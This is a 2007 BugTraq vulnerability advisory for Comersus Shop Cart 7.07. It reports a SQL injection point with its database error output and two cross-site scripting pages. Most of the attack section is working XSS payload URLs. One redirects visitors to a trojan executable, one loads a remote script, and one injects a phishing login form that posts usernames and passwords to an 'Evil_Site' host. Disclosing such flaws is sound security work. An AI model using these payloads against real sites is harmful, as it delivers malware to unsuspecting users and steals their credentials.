BugTraq
Comersus Shop Cart 7.07 SQL Injection & XSS Jun 20 2007 01:51AM
DoZ HackersCenter com
---> Comersus Shop Cart 7.07 SQL Injection & XSS

Comersus is an active server pages (asp) software for running shopping stores, integrated with the rest of your web site. Comersus ASP Cart is free and IT CAN BE used for commercial purposes. An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Hackers Center Security Group (http://www.hackerscenter.com)
Credit: Doz

Remote: YES
Class: Cross Site Scripting

Vendor: http://www.comersus.com
Product Tested: Comersus Cart 7.07

* Previous versions are also affected & so might 7.08!

Attackers can exploit these issues via a web client.

SQL Hole: /store/comersus_optReviewReadExec.asp?idProduct='

------------------------------------------------------------
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'idProduct=''.

/demo707/includes/databaseFunctions.asp, line 38
------------------------------------------------------------

Cross Site Scripting Pages:

/comersus_customerAuthenticateForm.asp

/comersus_message.asp

Exploit:

1.
path/store/comersus_customerAuthenticateForm.asp?redirectUrl=comersus_cu
stomerS
howOrders.asp/XSS

or

/path/store/comersus_customerAuthenticateForm.asp?redirectUrl=comersus_c
ustomer
ShowOrders.asp=XSS

2.
http://www.site.com/path/store/comersus_message.asp?message=XSS

Posible Cross Site Scripting Exploits

1. Trojan or Worms!

https://www.site.com/path/store/comersus_customerAuthenticateForm.asp?re
directU
rl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</scri
pt>

2. Any Remote Script!

http://www.site.com/path/store/comersus_message.asp?message=<script
src=http://www.Site.com/Evil_Script.js></script>

3. Phishing!

http://www.site.com/path/store/comersus_message.asp?message=<form%20acti
on="htt
p://www.Evil_Site.com/Steal_Info.asp"%20method="post">Username:<input%20
name="u
sername"%20type="text"%20maxlength="10"><br>Password:<input%20name="pass
word"%2
0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%
20value
="Login"></form>

Pic: http://i15.tinypic.com/4xzcd92.jpg

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